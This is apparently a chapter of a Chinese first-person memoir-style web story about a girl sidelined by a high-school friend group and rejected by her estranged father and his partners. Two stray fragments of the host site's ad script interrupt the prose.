我和小雪在初中的时候就不算亲近,上高中之后,就算是加入了她们的小团体,也没有亲近到哪里去。 小雪和乔乔更亲,彭彭也和乔乔更亲。 至于当时,唯一跟我好一点的,是媛媛。 我和彭彭媛媛在一个宿舍,小雪和乔乔在一个宿舍。 而当时的乔乔,是非常喜怒无常的。当然,她的喜怒无常只是单单对我而已。 我当时耳朵有点不好,我倒不是说我聋,就是如果别人小声说话,我会听不清。 现在也是,我老公有时候跟我说话,我会听不清,然后让他凑近我重复几遍。 尤其是在有杂音的情况下,我更听不清。 而我们高中,大家下了课也不敢大声说话,上课更不敢随意张望。 所以有几次,乔乔跟我说话,我没太听清。所以乔乔非常生气,当时就给我挂脸了。 我这个人反应还慢,过了好一段时间才发觉她生气了。 而她生气之后,就会拉着小雪和彭彭,单独说我的坏话。 有时候明知道我能听到,她也不太介意。 我有时候觉得我自己像舔狗,我在尽力融入她们,尽力避开争端,尽力的让自己不是一个人。 但是,旁人对你的偏见,是很难改善的。乔乔经常会对我发脾气。 她对我好脾气的时候也有,但是不多。 还有一个原因是,有一次中午,乔乔让我帮忙带一个板栗派,因为她要去水房洗头。 我前面提过,我们学校水房需要排队打热水,所以乔乔如果去洗头了,中午根本没时间吃饭。 我从食堂出来的时候,就把这个事给忘了。 乔乔听到我忘了之后,非常生气。 当时乔乔和我是同桌,她直接甩个脸,对我发了脾气。 我一直不停说对不起,我还想挽回,我说午休结束之后,我跑去卖店给你买回来吧。 乔乔说她已经不想吃了,饿过劲了。 我们校规有一条,是在教室里不能吃东西。大多数时候,我们都是偷偷藏在衣袖里,然后趁着巡逻的教务处老师不注意,塞进嘴里。 所以,我们不会在课桌里放零食。 我们唯一允许放在课桌里的,就只有酸奶和牛奶。 我想给乔乔酸奶,让她垫一下。 乔乔语气不善,吼我一句:“酸奶只会让我肚子更空,你是打算害死我吗?” 乔乔从来都不会对另外三个人发脾气,她只会对我这样。 有一次也有人忘了给乔乔带吃的,乔乔只会嗔怪地说一句:“死鬼,你要饿死我呀。” 当然,除了这些,在平时我没有惹到乔乔的时候,我们一起往食堂走,乔乔也会特意拉着小雪和彭彭,说她不喜欢靠近我,离我远一点。 我一直默默忍着,从未当面说过。 我记得只有一次,我当着媛媛的面哭过,媛媛小声安慰我说:“她们有时候是有点过分,你别和她们一样的(一般见识的意思)。” 高中时期,学习生活是非常紧张的。 我是快高二的时候才转班,跟她们本来就没那么亲近。 大部分时间,大家都忙着学习。 所以,有时候乔乔冷脸,乔乔发脾气,乔乔带着其他人孤立我,我就权当看不到了。 我当时只会把这些委屈,说给赵心听。 我们这个五人小团体,一到周末的时候,也是会有家长来看的。 来的次数最多的,是彭彭的妈妈。 只要彭彭打电话,彭□□就会带吃的过来。 我们学校食堂那会儿,吃得太差了。 就算是一遍铃的时候,也没有太多好吃的菜。 当时鸡蛋羹是我眼里最好吃的,还便宜,一碗两块五。但是这道菜,也只有一遍铃的时候能抢到。 除了这个,再就是土豆丝还能入口。 其他的比如地三鲜,都非常难吃。地三鲜里那个茄子,不知道为什么有股辛辣的呛味,不是辣椒混合的那种辣,就是没做熟的那种辛辣感。 这一点我就不得不佩服我们高中食堂的大厨了,能把这道简单的东北菜做得那么难吃 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 的人,真的不多。 我现在还能回想起来,我们高中食堂那几样菜的味道。好多给人感觉就是一种没放盐,还有一种食材不新鲜的味道。 我上高中之前,有一些挑食的,没吃过的东西一般不吃。 比如番茄炒蛋,我是不吃的。 主要是小时候,我妈妈不会做西红柿炒蛋。我们家的西红柿,都是切成块儿,放点白糖,生吃。 但是在高中食堂,实在没什么菜又特别饿的时候了,我什么都能吃。 我就着点菜汤,干吃大米饭都能炫饱。 在常年满足不了口腹之欲的时候,外面的一切美食都是香的。 我记得最馋人的,是当地步行街上的凉皮,还有我们校门口那家的煎饼果子。 有时候看着走读生吃得那么香,我们住宿生都会馋得不行。 彭彭也因为在学校实在吃不到什么好的,就让她妈妈每个月都过来。 彭彭家门口有一家凉拌菜特别好吃,凉拌菜里还有蚬子、猪耳朵、银耳等等,荤素都有。 主要是那个调料的香味,我到现在都觉得特别好吃。 彭彭还会让她妈妈带外面饭店的孜然牛肉,不夸张地说,我第一次吃孜然牛肉,就是彭□□带过来的。 因为我在家里,很少去饭店吃饭。哪怕有时候运气好,赶上我继父带着我们一家出饭店吃饭,也带上了我,他们也很少点孜然牛肉这道菜。 彭□□经常来,媛媛妈妈也隔三差五过来,小雪的哥哥偶尔来,但是我们基本都碰不到。 至于乔乔,她家离我们学校很远,不经常来。 有一次,乔乔和小雪吵架了。 乔乔当着我们几个人的面,议论小雪的时候,我才清楚她们吵架的原因。 乔乔觉得,彭彭和媛媛家长经常过来,每次有好吃的,都会给我们几个人分。当然,彭彭和媛媛不介意这个,因为我们大部分时候也不太好意思吃,人家客气,我们过去尝个味道就可以了。 但是小雪哥哥给她带吃的时候,小雪只会跟乔乔分享。 乔乔希望小雪跟大家都分享一下。乔乔的意思是,彭彭和媛媛都是拿出来大家一起吃的。她觉得她和小雪也不能一直吃别人的。 但是小雪不太愿意分享。 而且我知道,小雪家里经济条件一般。她哥每次带过来的食物,也都不多。 谁都不会差她那一口吃的。 但是小雪说了伤乔乔心的话,小雪问乔乔:“那你父母怎么不过来?” 这一句话,让乔乔十分伤心。 她当天就给她爸妈打电话,让他们排除万难,也得来学校送吃的,不能让同学挑理。 当时乔乔说的,虽然是她们两个的事,我在一旁也没吭声。 但是我意识到,我的父母也一直没有过来。 我也一直在吃媛媛和彭彭家带来的美食,从来都没还过。 我继父不可能会过来,我妈妈要照顾我妹妹也不会过来。 大家都知道我家里的情况,哪怕因为乔乔有时候对我发脾气,她们站在乔乔那一边会冷落我。但是她们,绝对不会因为这个事情跟我计较。 但是乔乔和小雪这件事,还是让我多个心。 每次刚返校的时候,大家都带一大包吃的,每个月月初,大家都能满足口腹之欲。 主要是月中,大家都被学校食堂的饭菜苛待得比较严重的时候,才会缺这一口吃的。 我明白,月初给大家带吃的没什么用,主要是大家最饿最馋的时候,家长带来的美食,才有意义。 所以,那是我第一次,主动尝试联系我的亲生父亲。 我妈是不可能来学校的。我能找的人,只有我亲爸。 我不知道我亲爸的电话号码,我只记得我太奶家的电话,所以我通过我姑姥,要到了我亲爸的电话。 然而,那天电话打过去,接电话的,是一个陌生的女人。 我当时不认识这个女人。 我听到声音先是诧异了一下,然后问她:“这是明XX的电话吗?我是他女儿,我叫……” 电话那头,她直接打断了我的话:“不是,你打错了。” 然后,她直接挂断了…… 26. 第026章 多余 我们学校当时的公用电话亭,非常难操作。 我现在都有点回忆不起来具体的操作方式了。 我们得先买一个电话卡,然后把电话卡插到公用电话上。再根据各种语音提示操作,最后一步再输入正确的手机号码。 我们学校不允许带手机,所以只能去学校电话亭打电话。 又因为这个打电话的模式太过于繁杂,没有特别大的事,我是不会打电话,也不会联系家里的。 我最终,还是排除困难,拨通了我亲爸的手机。 可得到的,却是这么一个结果。 我当时反反复复对比了电话号码,我知道我没打错。 我也知道,电话那头的女人声音,应该是现在我爸的女人。 我那天一个人在电话亭外沉默了很久,最终放弃了。 那个周末,彭彭的妈妈又来了,又带来了一堆好吃的。 我当时觉得这样下去不行,就又跑去电话亭,跟我姑姥要了我奶奶的手机号。 其实这么多年,我奶奶是希望我跟我亲爸联系的。她一直试图给我灌输,我爸爸很爱我这件事。她想告诉我,我爸也是身不由己。 我奶奶电话拨通的那一天,她听到我的诉求,显得非常高兴。 她还问我喜欢吃什么,问我什么时间可以到学校,她说她一定会来。 那个时候,我和我奶奶还有我亲爸已经很多年都没见了。 当时我奶奶不愿意让我跟着我爸,我心里是有怨气的。而且小时候我奶奶指着我骂的事,我也记着。 我妈妈因为之前我爸拒付抚养费的事,和他们闹得很僵。我妈当时还说,她可以独自抚养我,不需要我亲爸拿一分钱。我妈还说,这个孩子,以后就当跟他们家没有关系。 所以,那之后好几年,我亲爸托人告诉我,他想让我跟他打个电话,我也没有联系他们。 不联系,一个是因为埋怨他们不管我,一个是因为害怕我妈不高兴。 我当时听到我奶奶兴奋的声音,心里松了口气。 我觉得,他们应该还是有一点爱我的。 毕竟,我是我爸的亲女儿,他得有多狠心,才能一点都不管我? 在电话里,我跟我奶奶说,我给我爸打电话了,但是没联系上。我奶奶让我念了电话号码,最后说,你这个号码对啊。 我说,对面那个女人说我打错了,不承认这是我爸的电话。 我奶奶“哦”了一声,当时没说什么。 我回去之后,也跟彭彭她们提了这个事。彭彭说,那你这事告诉你奶了吗,你得告状啊。 我说我提了一句。 彭彭点头:“提了一句就行,点到为止就行了。” 当时接电话的那个女人,叫杨燕。我妈后来告诉我,这个女人在我爸还没离婚的时候,就跟我爸有不正当的男女关系。 杨燕当时是我爸厂里的会计,我爸是厂长。 我妈说,他们木材厂好几个女的,都跟我爸有一腿。 这不是我妈单方面造谣,我爸自己也承认了。 我亲爸甚至没觉得这个事有什么丢脸的,他觉得作为男人,这是值得炫耀的资本。 后来我爸和那个小姐分手,他被逼着拿了分手费,欠了不少债。 他走投无路的时候,只能去俄罗斯打工。 我爸去的是海参崴那个地方,在深山里干活,吃住环境都不怎么好。 尤其是冬天,雪窝子能没过膝盖。 杨燕作为我爸曾经的情人,一点都不要介意我爸当时的贫寒。她抛夫弃子也要跟着我爸去俄罗斯。 杨燕跟我爸有不正当关系的时候,他们两个人都已婚。 后来,杨燕的丈夫知道我爸和杨燕的关系之后,还跑来告诫我爸,让我爸离他的老婆远点,不要插足人家的家庭。 我爸这个人,不太讲道理。他抢了人家的老婆,还不许人家上门骂他。他甚至还把杨燕的丈夫给打了。还叫嚣着说,来一次,他就打一次。 杨燕的丈夫长得又小又瘦,根本不是我爸的对手。 杨燕的儿子也挺恨我爸的,但是杨燕的亲妈告诉自己的外孙,说你千万别惹你明叔,他打人可狠了。 后来,杨燕的丈夫和儿子见到我爸,都躲着走。 杨燕的儿子还是挺恨他妈妈的,听说他后来去当兵,都没让他妈知道。还是很久之后,杨燕听别人说起,才知道她儿子去当兵都一年了。 一个不负责任的母亲,和一个不负责任的父亲,过年的时候,还会在一起报团取暖。 我亲爸还说,那年过年,杨燕儿子没给她打电话,我也没联系我亲爸。他们两个苦命人,都惨兮兮的。 这话听着就让人觉得讽刺,他们这样的人,居然也配说惨。 当然,我亲爸从来都不觉得他自己做错了。他觉得杨燕的丈夫该打。 去年,也就是2023年年底的时候,我亲爸提起杨燕的丈夫,还说他打得对。他说杨燕坐月子的时候,她婆婆和丈夫都对她不好。 说起这事的时候,我爸还义愤填膺的。他说自己说得好像是拯救世界的英雄,而杨燕是等着他拯救的悲惨少妇。 而且,我亲爸就当着他女婿(我老公)的面,就说起了他年轻时候跑破鞋的故事。他一点都不避讳,他还说别看他现在孤家寡人,其实他现在有三个女朋友,一起处着呢。 时间管理大师! 人不要脸的时候,真是无敌。 说回杨燕,他是跟在我爸身边时间最长的一个女人,她和我爸牵扯的时间,比我妈还长。 当时,她挂我电话,分明就是故意的。 但是我奶当着我的面质问我爸的时候,我爸还一直偏爱着杨燕,他跟我奶解释,说陌生女声给杨燕打电话,杨燕防备心重很正常。 我其实想插嘴说几句的,但是我爸很快转移了话题,没给我开口的机会。 我后来意识到,在女人和女儿之间,我永远都不是我爸的第一选择。 我爸不是瞎子,他能看得明白,他只是故意牺牲我。 但是当时,我也没计较。 我爸和我奶,能带着一堆好吃的来学校看我,就已经很不错了。 我也不能老吃同学家的东西,我也得给同学分享一下我家人带来的美食。 原本,我一直不联系我爸。杨燕应该觉得挺轻松的。 毕竟,她就那样没有道德束缚的跟我爸过日子,她很开心。 但是从我开始联系我爸的那一刻开始,她就已经不开心了。 我和杨燕一共没接触几次,她却对我有深的敌意。 第二次正式见面,是我大学暑假,去F城看我奶奶的那一天。 我奶还特意把我爸叫过来,让我们父女好好相处一下。 当时,只有我奶,我爸,我们三个人的时候,我爸对我的态度还是很好的。 他陪着我逛F城的元宝山公园,他还给我指,告诉我,我是在哪家医院出生的。 可是很快,杨燕就过来了。 她穿着一双平底的瓢鞋,只上了两节台阶,就说脚不舒服,要我爸送她回去。 我说这个台阶也不抖,就走这么几节,不会那么不舒服吧? 杨燕看着我脚上的运动鞋,怼我:“你穿的是运动鞋,当然得劲了。我这个鞋就是不舒服。” 之后,她看着我爸,一直撒娇让我爸带她回去。 我知道她就是故意找茬,不想让我爸和我单独相处。 我看向我爸,我没有出口挽留,我以为他会说,他和我经常见不到面,想留下来陪一会儿孩子。 然而我天真了。 我爸第一时间选了杨燕那个女人,转身就陪着杨燕走了。 他甚至都没有回头,看我一眼。 从那之后,每次我路过F城去看我奶奶的时候,杨燕都会回娘家,避开我。 我后来听我二婶说,她说杨燕怀过孕,但是孩子没了。 我爸当时很穷,还有外债,不同意她生,拉着她去流产了。 我爸后来说,他当时和杨燕在俄罗斯,只能吃得起白菜和土豆,连 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 一点肉星儿都不见。 但是杨燕,就特别想要一个她和我爸的孩子,她背着我爸偷偷怀了。她以为,她怀孕之后,我爸就会留下那个孩子,但是出于当时经济状况的考虑,我爸没要。 当年的避孕措施,是上环。 我二婶跟我说,杨燕为了要孩子,偷偷摸摸去医院把环摘了。 所以,即便是我好几年不和我爸见一面,杨燕对我也有很深的怨念。 她应该希望我这一辈子,都不联系我爸。 后来啊,他们还是分手了。 具体的分手原因,我也没问,我好奇心也没那么重。 我爸说是杨燕非要跟他分开的。 之后第二年,我爸又找了一个姓李的阿姨。 这个女人做过厨师,带了一个女儿。 她当时第一次见到我,还给我做了一大桌子菜,把面上功夫做得很好。 那个时候,我也不太在意我爸跟谁在一起了。反正我一两年才能见他一面,他愿意跟谁在一起都跟我无关。 我爸和李阿姨在一起之后,两个人共同出资,把我爸那个毛坯房给装修了。 我爸还特意打电话告诉我,说你李阿姨可好了,买被套都是买双份的,带上了我的那一份和她女儿的那一份。 我发现我这个人,很多时候都特别天真。 我爸说这话的时候,我居然还真信了。 虽然我不常过去,但是我大学所在的B城,回我继父家里的时候,是路过F城的。 那一年,路过F城,我去了我爸的家里。 我和李阿姨的女儿住在一间房里。 李阿姨的女儿人还行吧,虽然跟我不算亲近,但是没有什么心眼。 我奶是个不太善良的人,她评价人家李阿姨的女儿是,有点彪。 当时,我就在我爸那里住一个晚上。 晚上和李阿姨女儿住在一间房里的时候,我还和她开黑打游戏。 玩得开心的时候,她跑去冰箱里拿了两袋酸奶,给了我一袋。 当时,我继父生意的非常好,我妈也完全过得是富婆的日子。 虽然我在山沟里吃好东西的时候,还是要背着点我继奶奶。但是在外面,像是酸奶这种东西,就是很普通很便宜的一个东西。 我当时大学的生活费是一个月两千块钱。 那袋酸奶是小袋装的酸奶,一袋一块五毛钱。 她递给我,我就喝了,也没察觉有什么不妥,也没想太多。 这个时候,李阿姨过来了,看到我们两个正在喝酸奶。 她在门口看了我们好一会儿,突然问她女儿:“酸奶是你拿出来的啊?” 她女儿点了点头。 然后她突然开始骂她女儿:“你就是个彪(傻的意思)子。” 她女儿一脸懵,还问她妈妈,你骂我干嘛。 李阿姨一直不停说,你傻我才骂你。 她女儿当时确实没看明白怎么回事,还小声说她妈妈莫名其妙。 但是我知道,她就是因为酸奶。 她买来的酸奶放在冰箱里,是留给她女儿喝的。我到家里那么久,吃过晚饭了,她也没有拿出来。 可是就这点酸奶的事,即便是她女儿拿出来给我喝了,她也没当看不见,她反而是故意走过来,当着我的面骂她女儿。 那一声声在我耳朵里听过来,是真的很难受。 我想跟我爸说的,但是我觉得,我一年就来这么一次,就别找事了。 算了吧。 后来,这个李阿姨跟我爸分手了。 我忍不住说了这个事。 我爸一点都不理解我的难过,他语气很平和:“人家藏着好东西给自己的孩子,很正常啊。” 我其实一直都明白,我爸有自己的家,我妈也有自己的家。 他们每个人都有自己的家,我就是多余的。 但是听到我爸一点都没站在我的角度考虑问题时,我只有苦笑。 我知道他不那么爱我,我只是没想到他这么不爱我。